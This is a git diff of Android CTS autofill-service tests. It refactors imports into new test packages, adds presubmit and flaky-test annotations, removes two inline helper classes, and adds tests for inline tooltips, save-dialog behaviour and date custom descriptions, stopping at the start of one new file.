diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
index 42f4f16..da84344 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
@@ -16,21 +16,23 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_COMMIT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_COMMIT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.activities.SimpleSaveActivity.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
 
-import android.autofillservice.cts.AutoFillServiceTestCase;
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService;
-import android.autofillservice.cts.SimpleSaveActivity;
+import android.autofillservice.cts.activities.SimpleSaveActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.platform.test.annotations.Presubmit;
 import android.support.test.uiautomator.UiObject2;
 
 import androidx.annotation.NonNull;
@@ -38,6 +40,7 @@
 import org.junit.Test;
 import org.junit.rules.TestRule;
 
+@Presubmit
 public class InlineSimpleSaveActivityTest
         extends AutoFillServiceTestCase.AutoActivityLaunch<SimpleSaveActivity> {
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineTooltipTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineTooltipTest.java
new file mode 100644
index 0000000..79095cf
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineTooltipTest.java
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.inline;
+
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+
+import android.autofillservice.cts.commontests.AbstractLoginActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+
+import org.junit.Test;
+import org.junit.rules.TestRule;
+
+/**
+ * Tests inline suggestions tooltip behaviors.
+ */
+public class InlineTooltipTest extends AbstractLoginActivityTestCase {
+
+    InlineUiBot mInlineUiBot;
+
+    public InlineTooltipTest() {
+        super(getInlineUiBot());
+        mInlineUiBot = getInlineUiBot();
+    }
+
+    @Override
+    protected boolean isInlineMode() {
+        return true;
+    }
+
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
+    @Override
+    protected void enableService() {
+        Helper.enableAutofillService(getContext(), SERVICE_NAME);
+    }
+
+    @Test
+    public void testShowTooltip() throws Exception {
+        // Set service.
+        enableService();
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation(createPresentation("The Username"))
+                        .setInlinePresentation(createInlinePresentation("The Username"))
+                        .setInlineTooltipPresentation(
+                                Helper.createInlineTooltipPresentation("The Username Tooltip"))
+                        .build());
+
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("The Username");
+        mInlineUiBot.assertTooltipShowing("The Username Tooltip");
+    }
+
+    @Test
+    public void testShowTooltipWithTwoFields() throws Exception {
+        // Set service.
+        enableService();
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation(createPresentation("The Username"))
+                        .setInlinePresentation(createInlinePresentation("The Username"))
+                        .setInlineTooltipPresentation(
+                                Helper.createInlineTooltipPresentation("The Username Tooltip"))
+                        .build())
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Password"))
+                        .setInlinePresentation(createInlinePresentation("The Password"))
+                        .build())
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_PASSWORD, "lollipop")
+                        .setPresentation(createPresentation("The Password2"))
+                        .setInlinePresentation(createInlinePresentation("The Password2"))
+                        .setInlineTooltipPresentation(
+                                Helper.createInlineTooltipPresentation("The Password Tooltip"))
+                        .build());
+
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("The Username");
+        mInlineUiBot.assertTooltipShowing("The Username Tooltip");
+
+        // Switch focus to password
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mUiBot.waitForIdleSync();
+
+        mUiBot.assertDatasets("The Password", "The Password2");
+        mInlineUiBot.assertTooltipShowing("The Password Tooltip");
+
+        // Switch focus back to username
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+
+        mUiBot.assertDatasets("The Username");
+        mInlineUiBot.assertTooltipShowing("The Username Tooltip");
+
+        mActivity.expectAutoFill("dude");
+        mUiBot.selectDataset("The Username");
+        mUiBot.waitForIdleSync();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testShowTooltipWithSecondDataset() throws Exception {
+        // Set service.
+        enableService();
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation(createPresentation("The Username"))
+                        .setInlinePresentation(createInlinePresentation("The Username"))
+                        .build())
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "sweet")
+                        .setPresentation(createPresentation("The Username2"))
+                        .setInlinePresentation(createInlinePresentation("The Username2"))
+                        .setInlineTooltipPresentation(
+                                Helper.createInlineTooltipPresentation("The Username Tooltip"))
+                        .build())
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "candy")
+                        .setPresentation(createPresentation("The Username3"))
+                        .setInlinePresentation(createInlinePresentation("The Username3"))
+                        .build());
+
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasets("The Username", "The Username2", "The Username3");
+        mInlineUiBot.assertTooltipShowing("The Username Tooltip");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java
deleted file mode 100644
index af53383..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java
+++ /dev/null
@@ -1,133 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.inline;
-
-import static android.autofillservice.cts.Timeouts.DATASET_PICKER_NOT_SHOWN_NAPTIME_MS;
-import static android.autofillservice.cts.Timeouts.LONG_PRESS_MS;
-import static android.autofillservice.cts.Timeouts.UI_TIMEOUT;
-
-import android.autofillservice.cts.UiBot;
-import android.content.pm.PackageManager;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
-import android.support.test.uiautomator.Direction;
-import android.support.test.uiautomator.UiObject2;
-
-import com.android.compatibility.common.util.RequiredFeatureRule;
-import com.android.compatibility.common.util.Timeout;
-import com.android.cts.mockime.MockIme;
-
-import org.junit.rules.RuleChain;
-import org.junit.rules.TestRule;
-
-/**
- * UiBot for the inline suggestion.
- */
-public final class InlineUiBot extends UiBot {
-
-    private static final String TAG = "AutoFillInlineCtsUiBot";
-    public static final String SUGGESTION_STRIP_DESC = "MockIme Inline Suggestion View";
-
-    private static final BySelector SUGGESTION_STRIP_SELECTOR = By.desc(SUGGESTION_STRIP_DESC);
-
-    private static final RequiredFeatureRule REQUIRES_IME_RULE = new RequiredFeatureRule(
-            PackageManager.FEATURE_INPUT_METHODS);
-
-    public InlineUiBot() {
-        this(UI_TIMEOUT);
-    }
-
-    public InlineUiBot(Timeout defaultTimeout) {
-        super(defaultTimeout);
-    }
-
-    public static RuleChain annotateRule(TestRule rule) {
-        return RuleChain.outerRule(REQUIRES_IME_RULE).around(rule);
-    }
-
-    @Override
-    public void assertNoDatasets() throws Exception {
-        assertNoDatasetsEver();
-    }
-
-    @Override
-    public void assertNoDatasetsEver() throws Exception {
-        assertNeverShown("suggestion strip", SUGGESTION_STRIP_SELECTOR,
-                DATASET_PICKER_NOT_SHOWN_NAPTIME_MS);
-    }
-
-    /**
-     * Selects the suggestion in the {@link MockIme}'s suggestion strip by the given text.
-     */
-    public void selectSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
-        final UiObject2 dataset = strip.findObject(By.text(name));
-        if (dataset == null) {
-            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
-        }
-        dataset.click();
-    }
-
-    @Override
-    public void selectDataset(String name) throws Exception {
-        selectSuggestion(name);
-    }
-
-    @Override
-    public void longPressSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
-        final UiObject2 dataset = strip.findObject(By.text(name));
-        if (dataset == null) {
-            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
-        }
-        dataset.click(LONG_PRESS_MS);
-    }
-
-    @Override
-    public UiObject2 assertDatasets(String...names) throws Exception {
-        final UiObject2 picker = findSuggestionStrip(UI_TIMEOUT);
-        return assertDatasets(picker, names);
-    }
-
-    @Override
-    public void assertSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
-        final UiObject2 dataset = strip.findObject(By.text(name));
-        if (dataset == null) {
-            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
-        }
-    }
-
-    @Override
-    public void assertNoSuggestion(String name) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
-        final UiObject2 dataset = strip.findObject(By.text(name));
-        if (dataset != null) {
-            throw new AssertionError("has dataset " + name + " in " + getChildrenAsText(strip));
-        }
-    }
-
-    @Override
-    public void scrollSuggestionView(Direction direction, int speed) throws Exception {
-        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
-        strip.fling(direction, speed);
-    }
-
-    private UiObject2 findSuggestionStrip(Timeout timeout) throws Exception {
-        return waitForObject(SUGGESTION_STRIP_SELECTOR, timeout);
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
index 63cf648..45c5915 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
@@ -16,32 +16,36 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
-import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.activities.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.activities.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
 
 import static com.google.common.truth.Truth.assertThat;
 
 import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.AbstractWebViewTestCase;
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.CannedFillResponse;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.Helper;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.autofillservice.cts.MyWebView;
-import android.autofillservice.cts.WebViewActivity;
+import android.autofillservice.cts.activities.MyWebView;
+import android.autofillservice.cts.activities.WebViewActivity;
+import android.autofillservice.cts.commontests.AbstractWebViewTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
 import android.view.KeyEvent;
 import android.view.ViewStructure.HtmlInfo;
 
+import androidx.test.filters.FlakyTest;
+
 import org.junit.Test;
 import org.junit.rules.TestRule;
 
+@FlakyTest(bugId = 162372863)
 public class InlineWebViewActivityTest extends AbstractWebViewTestCase<WebViewActivity> {
 
     private static final String TAG = "InlineWebViewActivityTest";
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InstrumentedAutoFillServiceInlineEnabled.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InstrumentedAutoFillServiceInlineEnabled.java
deleted file mode 100644
index a931c53..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InstrumentedAutoFillServiceInlineEnabled.java
+++ /dev/null
@@ -1,37 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts.inline;
-
-import android.autofillservice.cts.InstrumentedAutoFillService;
-import android.service.autofill.AutofillService;
-
-/**
- * Implementation of {@link AutofillService} that has inline suggestions support enabled.
- */
-public class InstrumentedAutoFillServiceInlineEnabled extends InstrumentedAutoFillService {
-    @SuppressWarnings("hiding")
-    static final String SERVICE_PACKAGE = "android.autofillservice.cts";
-    @SuppressWarnings("hiding")
-    static final String SERVICE_CLASS = "InstrumentedAutoFillServiceInlineEnabled";
-    @SuppressWarnings("hiding")
-    static final String SERVICE_NAME = SERVICE_PACKAGE + "/.inline." + SERVICE_CLASS;
-
-    public InstrumentedAutoFillServiceInlineEnabled() {
-        sInstance.set(this);
-        sServiceLabel = SERVICE_CLASS;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/AutofillSaveDialogTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/AutofillSaveDialogTest.java
new file mode 100644
index 0000000..05c42c9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/AutofillSaveDialogTest.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.saveui;
+
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import android.autofillservice.cts.activities.LoginActivity;
+import android.autofillservice.cts.activities.SimpleAfterLoginActivity;
+import android.autofillservice.cts.activities.SimpleBeforeLoginActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.content.Context;
+import android.content.Intent;
+import android.view.View;
+
+import org.junit.Test;
+
+/**
+ * Tests whether autofill save dialog is shown as expected.
+ */
+public class AutofillSaveDialogTest extends AutoFillServiceTestCase.ManualActivityLaunch {
+
+    @Test
+    public void testShowSaveUiWhenLaunchActivityWithFlagClearTopAndSingleTop() throws Exception {
+        // Set service.
+        enableService();
+
+        // Start SimpleBeforeLoginActivity before login activity.
+        startActivityWithFlag(mContext, SimpleBeforeLoginActivity.class,
+                Intent.FLAG_ACTIVITY_NEW_TASK);
+        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
+
+        // Start LoginActivity.
+        startActivityWithFlag(SimpleBeforeLoginActivity.getCurrentActivity(), LoginActivity.class,
+                /* flags= */ 0);
+        mUiBot.assertShownByRelativeId(LoginActivity.ID_USERNAME_CONTAINER);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
+                .build());
+
+        // Trigger autofill on username.
+        LoginActivity loginActivity = LoginActivity.getCurrentActivity();
+        loginActivity.onUsername(View::requestFocus);
+
+        // Wait for fill request to be processed.
+        sReplier.getNextFillRequest();
+
+        // Set data.
+        loginActivity.onUsername((v) -> v.setText("test"));
+
+        // Start SimpleAfterLoginActivity after login activity.
+        startActivityWithFlag(loginActivity, SimpleAfterLoginActivity.class, /* flags= */ 0);
+        mUiBot.assertShownByRelativeId(SimpleAfterLoginActivity.ID_AFTER_LOGIN);
+
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_USERNAME);
+
+        // Restart SimpleBeforeLoginActivity with CLEAR_TOP and SINGLE_TOP.
+        startActivityWithFlag(SimpleAfterLoginActivity.getCurrentActivity(),
+                SimpleBeforeLoginActivity.class,
+                Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
+
+        // Verify save ui dialog.
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
+    }
+
+    @Test
+    public void testShowSaveUiWhenLaunchActivityWithFlagClearTaskAndNewTask() throws Exception {
+        // Set service.
+        enableService();
+
+        // Start SimpleBeforeLoginActivity before login activity.
+        startActivityWithFlag(mContext, SimpleBeforeLoginActivity.class,
+                Intent.FLAG_ACTIVITY_NEW_TASK);
+        mUiBot.assertShownByRelativeId(SimpleBeforeLoginActivity.ID_BEFORE_LOGIN);
+
+        // Start LoginActivity.
+        startActivityWithFlag(SimpleBeforeLoginActivity.getCurrentActivity(), LoginActivity.class,
+                /* flags= */ 0);
+        mUiBot.assertShownByRelativeId(LoginActivity.ID_USERNAME_CONTAINER);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_USERNAME)
+                .build());
+
+        // Trigger autofill on username.
+        LoginActivity loginActivity = LoginActivity.getCurrentActivity();
+        loginActivity.onUsername(View::requestFocus);
+
+        // Wait for fill request to be processed.
+        sReplier.getNextFillRequest();
+
+        // Set data.
+        loginActivity.onUsername((v) -> v.setText("test"));
+
+        // Start SimpleAfterLoginActivity with CLEAR_TASK and NEW_TASK after login activity.
+        startActivityWithFlag(loginActivity, SimpleAfterLoginActivity.class,
+                Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
+        mUiBot.assertShownByRelativeId(SimpleAfterLoginActivity.ID_AFTER_LOGIN);
+
+        // Verify save ui dialog.
+        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
+    }
+
+    private void startActivityWithFlag(Context context, Class<?> clazz, int flags) {
+        final Intent intent = new Intent(context, clazz);
+        intent.setFlags(flags);
+        context.startActivity(intent);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/CustomDescriptionDateTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/CustomDescriptionDateTest.java
new file mode 100644
index 0000000..faabab9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/CustomDescriptionDateTest.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.saveui;
+
+import static android.autofillservice.cts.activities.AbstractDatePickerActivity.ID_DATE_PICKER;
+import static android.autofillservice.cts.activities.AbstractDatePickerActivity.ID_OUTPUT;
+import static android.autofillservice.cts.testcore.Helper.findAutofillIdByResourceId;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.DatePickerSpinnerActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.icu.text.SimpleDateFormat;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.CustomDescription;
+import android.service.autofill.DateTransformation;
+import android.service.autofill.DateValueSanitizer;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiObject2;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+
+import java.util.Calendar;
+
+@AppModeFull(reason = "Service-specific test")
+public class CustomDescriptionDateTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<DatePickerSpinnerActivity> {
+
+    private DatePickerSpinnerActivity mActivity;
+
+    @Override
+    protected AutofillActivityTestRule<DatePickerSpinnerActivity> getActivityRule() {
+        return new AutofillActivityTestRule<DatePickerSpinnerActivity>(
+                DatePickerSpinnerActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testCustomSave() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_DATE_PICKER)
+                .setSaveInfoVisitor((contexts, builder) -> {
+                    final AutofillId id = findAutofillIdByResourceId(contexts.get(0),
+                            ID_DATE_PICKER);
+                    builder.setCustomDescription(new CustomDescription
+                            .Builder(newTemplate(R.layout.two_horizontal_text_fields))
+                            .addChild(R.id.first,
+                                    new DateTransformation(id, new SimpleDateFormat("MM/yyyy")))
+                            .addChild(R.id.second,
+                                    new DateTransformation(id, new SimpleDateFormat("MM-yy")))
+                            .build());
+                })
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onOutput((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Autofill it.
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save.
+        mActivity.setDate(2010, Calendar.DECEMBER, 12);
+        mActivity.tapOk();
+
+        // First, make sure the UI is shown...
+        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+
+        // Then, make sure it does have the custom view on it...
+        final UiObject2 staticText = saveUi.findObject(By.res(mPackageName, "static_text"));
+        assertThat(staticText).isNotNull();
+        assertThat(staticText.getText()).isEqualTo("YO:");
+
+        // Finally, assert the custom lines are shown
+        mUiBot.assertChild(saveUi, "first", (o) -> assertThat(o.getText()).isEqualTo("12/2010"));
+        mUiBot.assertChild(saveUi, "second", (o) -> assertThat(o.getText()).isEqualTo("12-10"));
+    }
+
+    @Test
+    public void testSaveSameValue_usingSanitization() throws Exception {
+        sanitizationTest(true);
+    }
+
+    @Test
+    public void testSaveSameValue_withoutSanitization() throws Exception {
+        sanitizationTest(false);
+    }
+
+    private void sanitizationTest(boolean withSanitization) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Calendar cal = Calendar.getInstance();
+        cal.clear();
+        cal.set(Calendar.YEAR, 2012);
+        cal.set(Calendar.MONTH, Calendar.DECEMBER);
+
+        // Set expectations.
+
+        // NOTE: ID_OUTPUT is used to trigger autofill, but it's value will be automatically
+        // changed, hence we need to set the expected value as the formated one. Ideally
+        // we shouldn't worry about that, but that would require creating a new activitiy with
+        // a custom edit text that uses date autofill values...
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("The end of the world"))
+                        .setField(ID_OUTPUT, "2012/11/25")
+                        .setField(ID_DATE_PICKER, cal.getTimeInMillis())
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_DATE_PICKER);
+
+        if (withSanitization) {
+            response.setSaveInfoVisitor((contexts, builder) -> {
+                final AutofillId id = findAutofillIdByResourceId(contexts.get(0), ID_DATE_PICKER);
+                builder.addSanitizer(new DateValueSanitizer(new SimpleDateFormat("MM/yyyy")), id);
+            });
+        }
+        sReplier.addResponse(response.build());
+
+        // Trigger autofill.
+        mActivity.onOutput((v) -> v.requestFocus());
+        sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The end of the world");
+
+        // Manually set same values as dataset.
+        mActivity.onOutput((v) -> v.setText("whatever"));
+        mActivity.setDate(2012, Calendar.DECEMBER, 25);
+        mActivity.tapOk();
+
+        // Verify save behavior.
+        if (withSanitization) {
+            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
+        } else {
+            mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
+        }
+    }
+
+    private RemoteViews newTemplate(int resourceId) {
+        return new RemoteViews(getContext().getPackageName(), resourceId);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/saveui/CustomDescriptionTest.java b/tests/autofillservice/src/android/autofillservice/cts/saveui/CustomDescriptionTest.java
new file mode 100644
index 0000000..ed7da54
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/saveui/CustomDescriptionTest.java
@@ -0,0 +1,647 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.saveui;
+
